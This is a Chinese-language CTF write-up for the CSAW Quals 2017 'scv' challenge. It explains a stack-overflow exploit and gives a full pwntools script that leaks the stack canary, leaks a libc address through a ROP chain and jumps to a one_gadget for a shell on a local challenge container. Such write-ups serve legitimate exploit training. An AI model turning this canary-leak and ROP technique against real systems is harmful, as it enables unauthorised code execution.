CSAW Quals CTF 2017-scv
程序基本信息
64位动态链接程序,开启了栈溢出和数据段不可执行保护
程序漏洞
read函数很明显的栈溢出漏洞
整体思路
由于题目给了libc,我们可以使用one_gadget获得gadget在libc中的偏移,通过泄露其他函数库的偏移计算gadget在内存中的位置。由于程序中有栈溢出保护,我们可以利用功能2,功能2的作用是puts打印我们输入的字符串,我们可以利用功能2将canary泄露出来,这样我们就可以进行栈溢出了,后面的步骤就简单了,利用rop技术即可pwn掉程序。
exp脚本
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote('172.17.0.2', 10001)
pop_rdi = 0x400ea3 #pop rdi;ret
puts_plt = 0x4008d0 #puts函数plt表地址
read_got = 0x602030 #read函数got表地址
start = 0x4009a0 #start函数首地址
io.sendline('1')
io.send('A'*164+'ABCDE') #在选项1中输入168个padding字符到达canary。由于canary最后两位恒为\x00防止意外泄露,因此需要多一个字符覆盖掉\x00,使得canary可被字符串输出函数输出。
sleep(0.5)
io.sendline('2')
io.recvuntil('ABCDE')
canary = u64('\x00'+io.recv(7)) #给canary补上\x00,把被字符'B'覆盖掉的\x00恢复回来,注意是大端序。
log.info("Leak canary = %#x" %(canary))
payload = ""
payload += "A"*168 #padding
payload += p64(canary) #在canary应该在的位置上写canary
payload += "B"*8 #覆盖rbp
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(start) #调用puts输出read在内存中的地址,然后回到start重新开始
io.recv()
io.sendline('1')
io.send(payload)
io.recv()
io.sendline('3') #通过选项3退出循环,从而触发栈溢出,泄露read在内存中的地址
io.recvuntil('TIME TO MINE MIENRALS...\n')
read_addr = u64(io.recv()[:6]+"\x00\x00") #u64()的参数必须是长度为8的字符串,手动补齐
log.info("Leak read addr = %#x" %(read_addr))
one_gadget_addr = read_addr - 0xf8880 + 0x45526 #计算one_gadget的地址,0xf8880跟0x45526分别为read跟gadget距离libc头部的偏移
io.sendline('1')
payload = ""
payload += "A"*168
payload += p64(canary) #在canary应该在的位置上写canary
payload += "B"*8 #覆盖rbp
payload += p64(one_gadget_addr) #栈溢出触发one gadget RCE
io.send(payload)
io.recv()
io.sendline('3') #退出main程序触发栈溢出
io.recv()
io.interactive()
内容参考
CSAW Quals CTF 2017-scv的更多相关文章
- 【HITB GSEC CTF 2017】1000levels
https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz #通过阅读天枢战队大佬们的wp调试的结果 首 ...
- 攻防世界 maze NJUPT CTF 2017
迷宫题 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3) 2 { 3 signed __int64 mid_i; // rbx 4 ...
- CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- CTF必备技能丨Linux Pwn入门教程——ShellCode
这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...
- Linux pwn入门教程(2)——shellcode的使用,原理与变形
作者:Tangerine@SAINTSEC 0×00 shellcode的使用 在上一篇文章中我们学习了怎么使用栈溢出劫持程序的执行流程.为了减少难度,演示和作业题程序里都带有很明显的后门.然而在现实 ...
- 如何开始你的CTF比赛之旅-网站安全-
在过去的两个星期里,我已经在DEFCON 22 CTF里检测出了两个不同的问题:“shitsco ”和“ nonameyet ”.感谢所有 的意见和评论,我遇到的最常见的问题是:“我怎么才能在CTFs ...
- 记一次CTF比赛过程与解题思路-MISC部分
前言 最近好久没更新博客和公众号了,有朋友问是不是在憋大招,但我不好意思说其实是因为最近一段时间太懒了,一直在当咸鱼- 意识到很久没更新这个问题,我是想写点什么的,但好像一直当咸鱼也没啥可分享的,最近 ...
- Pwn with File结构体之利用 vtable 进行 ROP
前言 本文以 0x00 CTF 2017 的 babyheap 为例介绍下通过修改 vtable 进行 rop 的操作 (:-_- 漏洞分析 首先查看一下程序开启的安全措施 18:07 haclh@u ...
- [CENTOS7] 加入Windows域
This following article is a snapshot from: https://www.rootusers.com/how-to-join-centos-linux-to-an- ...
随机推荐
- 返回ArrayBuffer数据下载
返回的数据 const blob = new Blob([response.data]); if ('download' in document.createElement('a')) { const ...
- PLSQL Developer新建表空间
转自:https://www.cnblogs.com/juddhu/archive/2012/03/20/2408499.html 通过pl/sql登录到Oracle数据库上,然后执行菜单:文件/新建 ...
- Pandas-数据处理-基础部分
有趣的事,Python永远不会缺席! 如需转发,请注明出处:小婷儿的python https://www.cnblogs.com/xxtalhr/p/11014882.html jupyter 代码 ...
- MySQL5.7安装、主从复制、读写分离原理解析以及详细配置
一.Linux下mysql彻底卸载 1.查看mysql的安装情况 rpm -qa | grep -i mysql 2.删除上图安装的软件 rpm -ev mysql-community-libs--. ...
- string 数组转 int 数组
用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 //字符串数组(源数组) string[] sNums = new[] {"1", "2" ...
- 【年度盘点】最受欢迎的5大Java练习项目
5. SSM + easyUI 搭建简易的人事管理系统 当前学习采用 SSM + easyUI 来开发一个比较简易的人事管理系统,让大家能够通过实际项目掌握 SSM 项目的开发.项目当前学习人数:16 ...
- 别人家的java语言编写的自动化测试系统
https://gitee.com/testdevops/easyrest 但是我还不会用 ~~~~(>_<)~~~~ 目前的状况是:大概知道流程了,可是第一个用例就跑步起来 自己想写一些 ...
- python requests包的基本使用
Requests 安装requests模块: D:\Install\Python36>pip3 install requests 请求方式 #coding:utf-8 import reques ...
- web server
嵌入式的:boa thttpd wn 网站的: iis apache tomcat ngnix python 的 ruby的 自定的 windows w3mfc c#自定义的1对1 webser ...
- XML建模实列
XML建模 建模的由来: 就是将指定的xml字符串当作对象来操作 好处在于,只需要调用指定的方法就可以完成预定的字符串获取: 建模的一个思路: 1.分析需要被建模的文件中有那几个对 ...